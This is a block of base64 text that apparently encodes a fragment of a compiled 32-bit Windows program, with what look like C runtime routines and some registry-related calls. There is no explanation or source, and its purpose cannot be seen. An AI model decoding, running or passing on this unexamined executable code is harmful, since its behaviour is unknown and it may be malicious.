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 